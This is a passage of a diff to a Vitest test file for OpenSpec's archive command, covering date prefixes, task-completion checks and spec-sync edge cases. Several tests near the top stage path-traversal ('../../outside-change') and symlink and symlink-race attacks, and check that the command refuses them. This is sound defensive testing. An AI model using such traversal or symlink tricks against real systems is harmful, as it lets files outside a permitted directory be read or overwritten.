fs.writeFile(path.join(realChangeDir, 'tasks.md'), '- [x] Task 1\n'); + await fs.symlink(realChangeDir, linkedChangeDir); + + await expect( + archiveCommand.execute(changeName, { + yes: true, + noValidate: true, + skipSpecs: true, + }) + ).rejects.toMatchObject({ + diagnostic: { code: 'archive_change_symlink' }, + }); + + const archiveDir = path.join(tempDir, 'openspec', 'changes', 'archive'); + await expect(fs.readdir(archiveDir)).resolves.toHaveLength(0); + expect((await fs.lstat(linkedChangeDir)).isSymbolicLink()).toBe(true); + await expect(fs.readFile(path.join(realChangeDir, 'tasks.md'), 'utf8')).resolves.toContain( + 'Task 1' + ); + }); + + it('rejects a destination symlink introduced during the cross-device fallback', async () => { + if (process.platform === 'win32') return; + + const changeName = 'raced-destination'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + const outsideDir = path.join(tempDir, 'outside-archive'); + const sentinel = path.join(outsideDir, 'sentinel.txt'); + await fs.mkdir(changeDir, { recursive: true }); + await fs.mkdir(outsideDir); + await fs.writeFile(path.join(changeDir, 'tasks.md'), '- [x] Task 1\n'); + await fs.writeFile(sentinel, 'leave me alone'); + + const rename = vi.spyOn(fs, 'rename').mockImplementationOnce(async (_src, dest) => { + await fs.symlink(outsideDir, dest); + throw Object.assign(new Error('cross-device move'), { code: 'EXDEV' }); + }); + try { + await expect( + archiveCommand.execute(changeName, { + yes: true, + noValidate: true, + skipSpecs: true, + }) + ).rejects.toMatchObject({ + diagnostic: { code: 'archive_target_exists' }, + }); + } finally { + rename.mockRestore(); + } + + await expect(fs.readFile(sentinel, 'utf8')).resolves.toBe('leave me alone'); + await expect(fs.access(path.join(outsideDir, 'tasks.md'))).rejects.toThrow(); + await expect(fs.access(changeDir)).resolves.not.toThrow(); + }); + + it('rejects a change name that escapes the changes directory', async () => { + const outsideDir = path.join(tempDir, 'outside-change'); + await fs.mkdir(outsideDir, { recursive: true }); + await fs.writeFile(path.join(outsideDir, 'tasks.md'), '- [x] Task 1\n'); + + await expect( + archiveCommand.execute('../../outside-change', { + yes: true, + noValidate: true, + skipSpecs: true, + }) + ).rejects.toThrow(/must not contain path separators/u); + await expect(fs.access(outsideDir)).resolves.not.toThrow(); + }); + + it('rejects an archive directory symlink outside the OpenSpec root', async () => { + if (process.platform === 'win32') return; + + const changeName = 'stay-inside'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + const archiveDir = path.join(tempDir, 'openspec', 'changes', 'archive'); + const outsideDir = path.join(tempDir, 'outside-archive'); + await fs.mkdir(changeDir, { recursive: true }); + await fs.writeFile(path.join(changeDir, 'tasks.md'), '- [x] Task 1\n'); + await fs.rm(archiveDir, { recursive: true, force: true }); + await fs.mkdir(outsideDir); + await fs.symlink(outsideDir, archiveDir); + + await expect( + archiveCommand.execute(changeName, { + yes: true, + noValidate: true, + skipSpecs: true, + }) + ).rejects.toThrow(/outside the OpenSpec root/u); + await expect(fs.access(changeDir)).resolves.not.toThrow(); + await expect(fs.readdir(outsideDir)).resolves.toEqual([]); + }); + + it('archives normally when the project root is reached through a symlink alias', async () => { + if (process.platform === 'win32') return; + + const aliasPath = path.join(tempDir, 'project-alias'); + const changeName = 'aliased-root'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + await fs.mkdir(changeDir); + await fs.writeFile(path.join(changeDir, 'tasks.md'), '- [x] Task 1\n'); + await fs.symlink(tempDir, aliasPath); + + process.chdir(aliasPath); + try { + await archiveCommand.execute(changeName, { + yes: true, + noValidate: true, + skipSpecs: true, + }); + } finally { + process.chdir(tempDir); + } + + const archiveDir = path.join(tempDir, 'openspec', 'changes', 'archive'); + await expect(fs.readdir(archiveDir)).resolves.toHaveLength(1); + }); + + it('should use the process local date across a UTC date boundary', async () => { + process.env.TZ = 'Asia/Shanghai'; + vi.useFakeTimers(); + vi.setSystemTime(new Date('2026-07-14T16:30:00.000Z')); + + const changeName = 'local-date-feature'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + await fs.mkdir(changeDir, { recursive: true }); + await fs.writeFile(path.join(changeDir, 'tasks.md'), '- [x] Task 1\n'); + + await archiveCommand.execute(changeName, { yes: true, noValidate: true, skipSpecs: true }); + + const archiveDir = path.join(tempDir, 'openspec', 'changes', 'archive'); + await expect(fs.readdir(archiveDir)).resolves.toEqual([`2026-07-15-${changeName}`]); + }); + + it('should preserve the date when UTC and local calendar dates match', async () => { + process.env.TZ = 'Asia/Shanghai'; + vi.useFakeTimers(); + vi.setSystemTime(new Date('2026-01-05T04:30:00.000Z')); + + const changeName = 'same-date-feature'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + await fs.mkdir(changeDir, { recursive: true }); + await fs.writeFile(path.join(changeDir, 'tasks.md'), '- [x] Task 1\n'); + + await archiveCommand.execute(changeName, { yes: true, noValidate: true, skipSpecs: true }); + + const archiveDir = path.join(tempDir, 'openspec', 'changes', 'archive'); + await expect(fs.readdir(archiveDir)).resolves.toEqual([`2026-01-05-${changeName}`]); + }); + + it('keeps an existing YYYY-MM-DD- prefix instead of stacking a new one (#1309)', async () => { + const changeName = '2026-07-04-voice-copilot-v1'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + await fs.mkdir(changeDir, { recursive: true }); + await fs.writeFile(path.join(changeDir, 'tasks.md'), '- [x] Task 1'); + + await archiveCommand.execute(changeName, { yes: true }); + + const archiveDir = path.join(tempDir, 'openspec', 'changes', 'archive'); + const archives = await fs.readdir(archiveDir); + + // Archived under its own name: no second date prefix, and the folder + // keeps sorting under the change's own day even when archived later. + expect(archives).toEqual([changeName]); + await expect(fs.access(changeDir)).rejects.toThrow(); + }); + + it('still adds the date prefix when a name only starts with a partial date', async () => { + const changeName = '2026-07-feature'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + await fs.mkdir(changeDir, { recursive: true }); + await fs.writeFile(path.join(changeDir, 'tasks.md'), '- [x] Task 1'); + + await archiveCommand.execute(changeName, { yes: true }); + + const archiveDir = path.join(tempDir, 'openspec', 'changes', 'archive'); + const archives = await fs.readdir(archiveDir); + + // `2026-07-` is not a full YYYY-MM-DD- prefix, so the name is dated + // as usual. Asserted as a pattern rather than an exact date to avoid + // a UTC-midnight race between execute() and the expectation. + expect(archives.length).toBe(1); + expect(archives[0]).toMatch(new RegExp(`^\\d{4}-\\d{2}-\\d{2}-${changeName}$`)); + }); + it('should warn about incomplete tasks', async () => { const changeName = 'incomplete-feature'; const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); @@ -94,6 +623,75 @@ describe('ArchiveCommand', () => { ); }); + it('detects incomplete tasks in nested glob tasks.md files (#1202 data-safety gate)', async () => { + // Before the fix the gate read a fixed changes/<name>/tasks.md, saw zero + // tasks for a glob-tasks change, and let an unfinished change archive. + const schemaDir = path.join(tempDir, 'openspec', 'schemas', 'glob-tasks'); + await fs.mkdir(schemaDir, { recursive: true }); + await fs.writeFile( + path.join(schemaDir, 'schema.yaml'), + [ + 'name: glob-tasks', + 'version: 1', + 'artifacts:', + ' - id: proposal', + ' generates: proposal.md', + ' description: Proposal', + ' template: proposal.md', + ' requires: []', + ' - id: tasks', + ' generates: "**/tasks.md"', + ' description: Nested tasks', + ' template: tasks.md', + ' requires: [proposal]', + 'apply:', + ' requires: [tasks]', + ' tracks: "**/tasks.md"', + '', + ].join('\n') + ); + + const changeName = 'glob-incomplete-feature'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + await fs.mkdir(path.join(changeDir, 'backend'), { recursive: true }); + await fs.mkdir(path.join(changeDir, 'frontend'), { recursive: true }); + await fs.writeFile(path.join(changeDir, '.openspec.yaml'), 'schema: glob-tasks\n'); + await fs.writeFile(path.join(changeDir, 'backend', 'tasks.md'), '- [x] 1.1 a\n- [x] 1.2 b\n'); + await fs.writeFile(path.join(changeDir, 'frontend', 'tasks.md'), '- [x] 2.1 a\n- [ ] 2.2 b\n- [ ] 2.3 c\n'); + + await archiveCommand.execute(changeName, { yes: true, noValidate: true, skipSpecs: true }); + + // The gate now sees 5 tasks / 2 incomplete across the nested files. + expect(console.log).toHaveBeenCalledWith( + expect.stringContaining('2 incomplete task(s) found') + ); + }); + + it('detects incomplete indented sub-tasks (#1485 data-safety gate)', async () => { + // Before the fix the gate only saw checkboxes at column 0, so a change + // whose sub-tasks were unfinished archived with no warning at all. + const changeName = 'nested-subtasks-feature'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + await fs.mkdir(changeDir, { recursive: true }); + await fs.writeFile( + path.join(changeDir, 'tasks.md'), + [ + '## 1. Implementation', + '- [x] 1.1 Parent task', + ' - [ ] 1.1.1 Unfinished sub-task', + ' - [ ] 1.1.2 Another unfinished sub-task', + '- [x] 1.2 Second parent', + '', + ].join('\n') + ); + + await archiveCommand.execute(changeName, { yes: true }); + + expect(console.log).toHaveBeenCalledWith( + expect.stringContaining('Warning: 2 incomplete task(s) found') + ); + }); + it('should update specs when archiving (delta-based ADDED) and include change name in skeleton', async () => { const changeName = 'spec-feature'; const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); @@ -127,612 +725,2527 @@ Then expected result happens`; expect(updatedContent).toContain('#### Scenario: Basic test'); }); - it('should allow REMOVED requirements when creating new spec file (issue #403)', async () => { - const changeName = 'new-spec-with-removed'; + it('should archive when ADDED requirements were already synced to the baseline (issue #1332)', async () => { + const changeName = 'early-synced-feature'; const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); - const changeSpecDir = path.join(changeDir, 'specs', 'gift-card'); + const changeSpecDir = path.join(changeDir, 'specs', 'core-layer'); await fs.mkdir(changeSpecDir, { recursive: true }); - - // Create delta spec with both ADDED and REMOVED requirements - // This simulates refactoring where old fields are removed and new ones are added - const specContent = `# Gift Card - Changes -## ADDED Requirements + const requirementBlock = `### Requirement: The system SHALL provide a core abstraction layer -### Requirement: Logo and Background Color -The system SHALL support logo and backgroundColor fields for gift cards. +#### Scenario: Layer is available +- **WHEN** a consumer imports the layer +- **THEN** the abstraction is available`; -#### Scenario: Display gift card with logo -- **WHEN** a gift card is displayed -- **THEN** it shows the logo and backgroundColor + await fs.writeFile( + path.join(changeSpecDir, 'spec.md'), + `# Core Layer - Changes\n\n## ADDED Requirements\n\n${requirementBlock}` + ); -## REMOVED Requirements + // Simulate the early-sync pattern: the requirement is already in the + // main spec (identical content) before archive runs. + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'core-layer'); + await fs.mkdir(mainSpecDir, { recursive: true }); + const mainSpecContent = `# core-layer Specification\n\n## Purpose\nCore abstraction layer.\n\n## Requirements\n\n${requirementBlock}\n`; + await fs.writeFile(path.join(mainSpecDir, 'spec.md'), mainSpecContent); -### Requirement: Image Field -### Requirement: Thumbnail Field`; - await fs.writeFile(path.join(changeSpecDir, 'spec.md'), specContent); - - // Execute archive - should succeed with warning about REMOVED requirements await archiveCommand.execute(changeName, { yes: true, noValidate: true }); - - // Verify warning was logged about REMOVED requirements being ignored - expect(console.log).toHaveBeenCalledWith( - expect.stringContaining('Warning: gift-card - 2 REMOVED requirement(s) ignored for new spec (nothing to remove).') - ); - - // Verify spec was created with only ADDED requirements - const mainSpecPath = path.join(tempDir, 'openspec', 'specs', 'gift-card', 'spec.md'); - const updatedContent = await fs.readFile(mainSpecPath, 'utf-8'); - expect(updatedContent).toContain('# gift-card Specification'); - expect(updatedContent).toContain('### Requirement: Logo and Background Color'); - expect(updatedContent).toContain('#### Scenario: Display gift card with logo'); - // REMOVED requirements should not be in the final spec - expect(updatedContent).not.toContain('### Requirement: Image Field'); - expect(updatedContent).not.toContain('### Requirement: Thumbnail Field'); - - // Verify change was archived successfully - const archiveDir = path.join(tempDir, 'openspec', 'changes', 'archive'); - const archives = await fs.readdir(archiveDir); - expect(archives.length).toBeGreaterThan(0); + + // Archive succeeds and the main spec keeps the requirement exactly once + const updatedContent = await fs.readFile(path.join(mainSpecDir, 'spec.md'), 'utf-8'); + const occurrences = updatedContent.split('### Requirement: The system SHALL provide a core abstraction layer').length - 1; + expect(occurrences).toBe(1); + + const archives = await fs.readdir(path.join(tempDir, 'openspec', 'changes', 'archive')); expect(archives.some(a => a.includes(changeName))).toBe(true); + expect(process.exitCode).toBeUndefined(); }); - it('should still error on MODIFIED when creating new spec file', async () => { - const changeName = 'new-spec-with-modified'; + it('should still abort ADDED when an existing requirement has different content', async () => { + const changeName = 'conflicting-added-feature'; const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); - const changeSpecDir = path.join(changeDir, 'specs', 'new-capability'); + const changeSpecDir = path.join(changeDir, 'specs', 'core-layer'); await fs.mkdir(changeSpecDir, { recursive: true }); - - // Create delta spec with MODIFIED requirement (should fail for new spec) - const specContent = `# New Capability - Changes - -## ADDED Requirements -### Requirement: New Feature -New feature description. + await fs.writeFile( + path.join(changeSpecDir, 'spec.md'), + `# Core Layer - Changes\n\n## ADDED Requirements\n\n### Requirement: The system SHALL provide a core abstraction layer\n\n#### Scenario: New behavior\n- **WHEN** a consumer imports the layer\n- **THEN** the new abstraction is available` + ); -## MODIFIED Requirements + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'core-layer'); + await fs.mkdir(mainSpecDir, { recursive: true }); + const mainSpecContent = `# core-layer Specification\n\n## Purpose\nCore abstraction layer.\n\n## Requirements\n\n### Requirement: The system SHALL provide a core abstraction layer\n\n#### Scenario: Old behavior\n- **WHEN** a consumer imports the layer\n- **THEN** the old abstraction is available\n`; + await fs.writeFile(path.join(mainSpecDir, 'spec.md'), mainSpecContent); -### Requirement: Existing Feature -Modified content.`; - await fs.writeFile(path.join(changeSpecDir, 'spec.md'), specContent); - - // Execute archive - should abort with error message (not throw, but log and return) await archiveCommand.execute(changeName, { yes: true, noValidate: true }); - - // Verify error message mentions MODIFIED not allowed for new specs + + // Genuine conflict: archive aborts, nothing moves, main spec untouched expect(console.log).toHaveBeenCalledWith( - expect.stringContaining('new-capability: target spec does not exist; only ADDED requirements are allowed for new specs. MODIFIED and RENAMED operations require an existing spec.') + expect.stringContaining('ADDED failed for header "### Requirement: The system SHALL provide a core abstraction layer" - already exists') ); - expect(console.log).toHaveBeenCalledWith('Aborted. No files were changed.'); - - // Verify spec was NOT created - const mainSpecPath = path.join(tempDir, 'openspec', 'specs', 'new-capability', 'spec.md'); - await expect(fs.access(mainSpecPath)).rejects.toThrow(); - - // Verify change was NOT archived - const archiveDir = path.join(tempDir, 'openspec', 'changes', 'archive'); - const archives = await fs.readdir(archiveDir); - expect(archives.some(a => a.includes(changeName))).toBe(false); + expect(process.exitCode).toBe(1); + await expect(fs.access(changeDir)).resolves.toBeUndefined(); + const untouched = await fs.readFile(path.join(mainSpecDir, 'spec.md'), 'utf-8'); + expect(untouched).toBe(mainSpecContent); }); - it('should still error on RENAMED when creating new spec file', async () => { - const changeName = 'new-spec-with-renamed'; + it('should archive when RENAMED requirements were already synced to the baseline', async () => { + const changeName = 'early-synced-rename'; const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); - const changeSpecDir = path.join(changeDir, 'specs', 'another-capability'); + const changeSpecDir = path.join(changeDir, 'specs', 'core-layer'); await fs.mkdir(changeSpecDir, { recursive: true }); - - // Create delta spec with RENAMED requirement (should fail for new spec) - const specContent = `# Another Capability - Changes -## ADDED Requirements + await fs.writeFile( + path.join(changeSpecDir, 'spec.md'), + `# Core Layer - Changes\n\n## RENAMED Requirements\n\n- FROM: \`### Requirement: The system SHALL provide an abstraction layer\`\n- TO: \`### Requirement: The system SHALL provide a core abstraction layer\`\n` + ); -### Requirement: New Feature -New feature description. + // Early-sync pattern: the main spec already carries the new header. + const renamedBlock = `### Requirement: The system SHALL provide a core abstraction layer\n\n#### Scenario: Layer is available\n- **WHEN** a consumer imports the layer\n- **THEN** the abstraction is available`; + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'core-layer'); + await fs.mkdir(mainSpecDir, { recursive: true }); + await fs.writeFile( + path.join(mainSpecDir, 'spec.md'), + `# core-layer Specification\n\n## Purpose\nCore abstraction layer.\n\n## Requirements\n\n${renamedBlock}\n` + ); -## RENAMED Requirements -- FROM: \`### Requirement: Old Name\` -- TO: \`### Requirement: New Name\``; - await fs.writeFile(path.join(changeSpecDir, 'spec.md'), specContent); - - // Execute archive - should abort with error message (not throw, but log and return) await archiveCommand.execute(changeName, { yes: true, noValidate: true }); - - // Verify error message mentions RENAMED not allowed for new specs - expect(console.log).toHaveBeenCalledWith( - expect.stringContaining('another-capability: target spec does not exist; only ADDED requirements are allowed for new specs. MODIFIED and RENAMED operations require an existing spec.') - ); - expect(console.log).toHaveBeenCalledWith('Aborted. No files were changed.'); - - // Verify spec was NOT created - const mainSpecPath = path.join(tempDir, 'openspec', 'specs', 'another-capability', 'spec.md'); - await expect(fs.access(mainSpecPath)).rejects.toThrow(); - - // Verify change was NOT archived - const archiveDir = path.join(tempDir, 'openspec', 'changes', 'archive'); - const archives = await fs.readdir(archiveDir); - expect(archives.some(a => a.includes(changeName))).toBe(false); - }); - it('should throw error if change does not exist', async () => { - await expect( - archiveCommand.execute('non-existent-change', { yes: true }) - ).rejects.toThrow("Change 'non-existent-change' not found."); - }); + const updatedContent = await fs.readFile(path.join(mainSpecDir, 'spec.md'), 'utf-8'); + const occurrences = updatedContent.split('### Requirement: The system SHALL provide a core abstraction layer').length - 1; + expect(occurrences).toBe(1); + expect(updatedContent).not.toContain('SHALL provide an abstraction layer'); - it('should throw error if archive already exists', async () => { - const changeName = 'duplicate-feature'; - const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); - await fs.mkdir(changeDir, { recursive: true }); - - // Create existing archive with same date - const date = new Date().toISOString().split('T')[0]; - const archivePath = path.join(tempDir, 'openspec', 'changes', 'archive', `${date}-${changeName}`); - await fs.mkdir(archivePath, { recursive: true }); - - // Try to archive - await expect( - archiveCommand.execute(changeName, { yes: true }) - ).rejects.toThrow(`Archive '${date}-${changeName}' already exists.`); + const archives = await fs.readdir(path.join(tempDir, 'openspec', 'changes', 'archive')); + expect(archives.some(a => a.includes(changeName))).toBe(true); + expect(process.exitCode).toBeUndefined(); }); - it('should handle changes without tasks.md', async () => { - const changeName = 'no-tasks-feature'; + it('should still abort RENAMED when neither the old nor the new header exists', async () => { + const changeName = 'broken-rename'; const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); - await fs.mkdir(changeDir, { recursive: true }); - - // Execute archive without tasks.md - await archiveCommand.execute(changeName, { yes: true }); - - // Should complete without warnings - expect(console.log).not.toHaveBeenCalledWith( - expect.stringContaining('incomplete task(s)') - ); - - // Verify change was archived - const archiveDir = path.join(tempDir, 'openspec', 'changes', 'archive'); - const archives = await fs.readdir(archiveDir); - expect(archives.length).toBe(1); - }); + const changeSpecDir = path.join(changeDir, 'specs', 'core-layer'); + await fs.mkdir(changeSpecDir, { recursive: true }); - it('should handle changes without specs', async () => { - const changeName = 'no-specs-feature'; - const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); - await fs.mkdir(changeDir, { recursive: true }); - - // Execute archive without specs - await archiveCommand.execute(changeName, { yes: true }); - - // Should complete without spec updates - expect(console.log).not.toHaveBeenCalledWith( - expect.stringContaining('Specs to update') + await fs.writeFile( + path.join(changeSpecDir, 'spec.md'), + `# Core Layer - Changes\n\n## RENAMED Requirements\n\n- FROM: \`### Requirement: A requirement that never existed\`\n- TO: \`### Requirement: A new name that also does not exist\`\n` ); - - // Verify change was archived - const archiveDir = path.join(tempDir, 'openspec', 'changes', 'archive'); - const archives = await fs.readdir(archiveDir); - expect(archives.length).toBe(1); - }); - it('should skip spec updates when --skip-specs flag is used', async () => { - const changeName = 'skip-specs-feature'; - const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); - const changeSpecDir = path.join(changeDir, 'specs', 'test-capability'); - await fs.mkdir(changeSpecDir, { recursive: true }); - - // Create spec in change - const specContent = '# Test Capability Spec\n\nTest content'; - await fs.writeFile(path.join(changeSpecDir, 'spec.md'), specContent); - - // Execute archive with --skip-specs flag and noValidate to skip validation - await archiveCommand.execute(changeName, { yes: true, skipSpecs: true, noValidate: true }); - - // Verify skip message was logged + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'core-layer'); + await fs.mkdir(mainSpecDir, { recursive: true }); + const mainSpecContent = `# core-layer Specification\n\n## Purpose\nCore abstraction layer.\n\n## Requirements\n\n### Requirement: The system SHALL provide a core abstraction layer\n\n#### Scenario: Layer is available\n- **WHEN** a consumer imports the layer\n- **THEN** the abstraction is available\n`; + await fs.writeFile(path.join(mainSpecDir, 'spec.md'), mainSpecContent); + + await archiveCommand.execute(changeName, { yes: true, noValidate: true }); + expect(console.log).toHaveBeenCalledWith( - 'Skipping spec updates (--skip-specs flag provided).' + expect.stringContaining('RENAMED failed for header "### Requirement: A requirement that never existed" - source not found') ); - - // Verify spec was NOT copied to main specs - const mainSpecPath = path.join(tempDir, 'openspec', 'specs', 'test-capability', 'spec.md'); - await expect(fs.access(mainSpecPath)).rejects.toThrow(); - - // Verify change was still archived - const archiveDir = path.join(tempDir, 'openspec', 'changes', 'archive'); - const archives = await fs.readdir(archiveDir); - expect(archives.length).toBe(1); - expect(archives[0]).toMatch(new RegExp(`\\d{4}-\\d{2}-\\d{2}-${changeName}`)); + expect(process.exitCode).toBe(1); + await expect(fs.access(changeDir)).resolves.toBeUndefined(); + const untouched = await fs.readFile(path.join(mainSpecDir, 'spec.md'), 'utf-8'); + expect(untouched).toBe(mainSpecContent); }); - it('should skip validation when commander sets validate to false (--no-validate)', async () => { - const changeName = 'skip-validation-flag'; + it('should abort when REMOVED names the FROM side of a RENAMED in the same delta', async () => { + // Contradictory delta: you cannot both rename and remove the same + // requirement. This used to fail incidentally at apply time (the rename + // consumed the old header, so REMOVED hit "not found"); now that a + // missing REMOVED target is treated as already synced, the conflict has + // to be rejected explicitly. + const changeName = 'rename-and-remove'; const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); - const changeSpecDir = path.join(changeDir, 'specs', 'unstable-capability'); + const changeSpecDir = path.join(changeDir, 'specs', 'core-layer'); await fs.mkdir(changeSpecDir, { recursive: true }); - const deltaSpec = `# Unstable Capability + await fs.writeFile( + path.join(changeSpecDir, 'spec.md'), + `# Core Layer - Changes\n\n## RENAMED Requirements\n\n- FROM: \`### Requirement: Old name\`\n- TO: \`### Requirement: New name\`\n\n## REMOVED Requirements\n\n### Requirement: Old name\n` + ); -## ADDED Requirements + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'core-layer'); + await fs.mkdir(mainSpecDir, { recursive: true }); + const mainSpecContent = `# core-layer Specification\n\n## Purpose\nCore abstraction layer.\n\n## Requirements\n\n### Requirement: Old name\n\n#### Scenario: Works\n- **WHEN** it runs\n- **THEN** it works\n`; + await fs.writeFile(path.join(mainSpecDir, 'spec.md'), mainSpecContent); -### Requirement: Logging Feature -**ID**: REQ-LOG-001 + await archiveCommand.execute(changeName, { yes: true, noValidate: true }); -The system will log all events. + expect(console.log).toHaveBeenCalledWith( + expect.stringContaining('requirement present in multiple sections (RENAMED and REMOVED) for header "### Requirement: Old name"') + ); + expect(process.exitCode).toBe(1); + const untouched = await fs.readFile(path.join(mainSpecDir, 'spec.md'), 'utf-8'); + expect(untouched).toBe(mainSpecContent); + }); -#### Scenario: Event recorded -- **WHEN** an event occurs -- **THEN** it is captured`; - await fs.writeFile(path.join(changeSpecDir, 'spec.md'), deltaSpec); - await fs.writeFile(path.join(changeDir, 'tasks.md'), '- [x] Task 1\n'); + it('should abort when REMOVED spells the renamed FROM header with different case', async () => { + const changeName = 'rename-and-remove-case'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + const changeSpecDir = path.join(changeDir, 'specs', 'core-layer'); + await fs.mkdir(changeSpecDir, { recursive: true }); - const deltaSpy = vi.spyOn(Validator.prototype, 'validateChangeDeltaSpecs'); - const specContentSpy = vi.spyOn(Validator.prototype, 'validateSpecContent'); + await fs.writeFile( + path.join(changeSpecDir, 'spec.md'), + `# Core Layer - Changes\n\n## RENAMED Requirements\n\n- FROM: \`### Requirement: Old Name\`\n- TO: \`### Requirement: New Name\`\n\n## REMOVED Requirements\n\n### Requirement: old name\n` + ); - try { - await archiveCommand.execute(changeName, { yes: true, skipSpecs: true, validate: false }); + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'core-layer'); + await fs.mkdir(mainSpecDir, { recursive: true }); + const mainSpecContent = `# core-layer Specification\n\n## Purpose\nCore abstraction layer.\n\n## Requirements\n\n### Requirement: Old Name\n\n#### Scenario: Works\n- **WHEN** it runs\n- **THEN** it works\n`; + await fs.writeFile(path.join(mainSpecDir, 'spec.md'), mainSpecContent); - expect(deltaSpy).not.toHaveBeenCalled(); - expect(specContentSpy).not.toHaveBeenCalled(); + await archiveCommand.execute(changeName, { yes: true, noValidate: true }); - const archiveDir = path.join(tempDir, 'openspec', 'changes', 'archive'); - const archives = await fs.readdir(archiveDir); - expect(archives.length).toBe(1); - expect(archives[0]).toMatch(new RegExp(`\\d{4}-\\d{2}-\\d{2}-${changeName}`)); - } finally { - deltaSpy.mockRestore(); - specContentSpy.mockRestore(); - } + expect(console.log).toHaveBeenCalledWith( + expect.stringContaining('requirement present in multiple sections (RENAMED and REMOVED) for header "### Requirement: Old Name" (REMOVED spells it "old name")') + ); + expect(process.exitCode).toBe(1); + await expect(fs.access(changeDir)).resolves.not.toThrow(); + const untouched = await fs.readFile(path.join(mainSpecDir, 'spec.md'), 'utf-8'); + expect(untouched).toBe(mainSpecContent); }); - it('should proceed with archive when user declines spec updates', async () => { - const { confirm } = await import('@inquirer/prompts'); - const mockConfirm = confirm as unknown as ReturnType<typeof vi.fn>; - - const changeName = 'decline-specs-feature'; + it('should archive when REMOVED requirements were already synced to the baseline', async () => { + const changeName = 'early-synced-removal'; const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); - const changeSpecDir = path.join(changeDir, 'specs', 'test-capability'); + const changeSpecDir = path.join(changeDir, 'specs', 'core-layer'); await fs.mkdir(changeSpecDir, { recursive: true }); - - // Create valid spec in change - const specContent = `# Test Capability Spec -## Purpose -This is a test capability specification. + await fs.writeFile( + path.join(changeSpecDir, 'spec.md'), + `# Core Layer - Changes\n\n## REMOVED Requirements\n\n### Requirement: The system SHALL provide a legacy layer\n**Reason**: Replaced by the core abstraction layer.\n` + ); -## Requirements + // Early-sync pattern: the requirement was already removed from the main spec. + const keptBlock = `### Requirement: The system SHALL provide a core abstraction layer\n\n#### Scenario: Layer is available\n- **WHEN** a consumer imports the layer\n- **THEN** the abstraction is available`; + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'core-layer'); + await fs.mkdir(mainSpecDir, { recursive: true }); + const mainSpecContent = `# core-layer Specification\n\n## Purpose\nCore abstraction layer.\n\n## Requirements\n\n${keptBlock}\n`; + await fs.writeFile(path.join(mainSpecDir, 'spec.md'), mainSpecContent); -### The system SHALL provide test capability + await archiveCommand.execute(changeName, { yes: true, noValidate: true }); -#### Scenario: Basic test -Given a test condition -When an action occurs -Then expected result happens`; - await fs.writeFile(path.join(changeSpecDir, 'spec.md'), specContent); - - // Mock confirm to return false (decline spec updates) - mockConfirm.mockResolvedValueOnce(false); - - // Execute archive without --yes flag - await archiveCommand.execute(changeName); - - // Verify user was prompted about specs - expect(mockConfirm).toHaveBeenCalledWith({ - message: 'Proceed with spec updates?', - default: true - }); - - // Verify skip message was logged + // Archive succeeds with a warning instead of aborting expect(console.log).toHaveBeenCalledWith( - 'Skipping spec updates. Proceeding with archive.' + expect.stringContaining('REMOVED requirement "The system SHALL provide a legacy layer" is not in the current spec') ); - - // Verify spec was NOT copied to main specs - const mainSpecPath = path.join(tempDir, 'openspec', 'specs', 'test-capability', 'spec.md'); - await expect(fs.access(mainSpecPath)).rejects.toThrow(); - - // Verify change was still archived - const archiveDir = path.join(tempDir, 'openspec', 'changes', 'archive'); - const archives = await fs.readdir(archiveDir); - expect(archives.length).toBe(1); - expect(archives[0]).toMatch(new RegExp(`\\d{4}-\\d{2}-\\d{2}-${changeName}`)); + // The skipped removal is not reported as applied + expect(console.log).not.toHaveBeenCalledWith(expect.stringContaining('- 1 removed')); + // A no-op update must not churn the file with normalization differences + const updatedContent = await fs.readFile(path.join(mainSpecDir, 'spec.md'), 'utf-8'); + expect(updatedContent).toBe(mainSpecContent); + // ...and must not claim an update happened + expect(console.log).toHaveBeenCalledWith('Specs already in sync; no files changed.'); + expect(console.log).not.toHaveBeenCalledWith('Specs updated successfully.'); + + const archives = await fs.readdir(path.join(tempDir, 'openspec', 'changes', 'archive')); + expect(archives.some(a => a.includes(changeName))).toBe(true); + expect(process.exitCode).toBeUndefined(); }); - it('should support header trim-only normalization for matching', async () => { - const changeName = 'normalize-headers'; + it('should archive when MODIFIED requirements were already synced to the baseline', async () => { + const changeName = 'early-synced-modify'; const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); - const changeSpecDir = path.join(changeDir, 'specs', 'alpha'); + const changeSpecDir = path.join(changeDir, 'specs', 'mod-layer'); await fs.mkdir(changeSpecDir, { recursive: true }); - // Create existing main spec with a requirement (no extra trailing spaces) - const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'alpha'); + const block = `### Requirement: Session handling\nThe system SHALL keep sessions.\n\n#### Scenario: Session persists\n- **WHEN** a user returns\n- **THEN** the session is restored`; + await fs.writeFile( + path.join(changeSpecDir, 'spec.md'), + `# Mod Layer - Changes\n\n## MODIFIED Requirements\n\n${block}\n` + ); + + // Early-sync pattern: the modification is already applied to main. + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'mod-layer'); await fs.mkdir(mainSpecDir, { recursive: true }); - const mainContent = `# alpha Specification + const mainSpecContent = `# mod-layer Specification\n\n## Purpose\nSession layer behavior.\n\n## 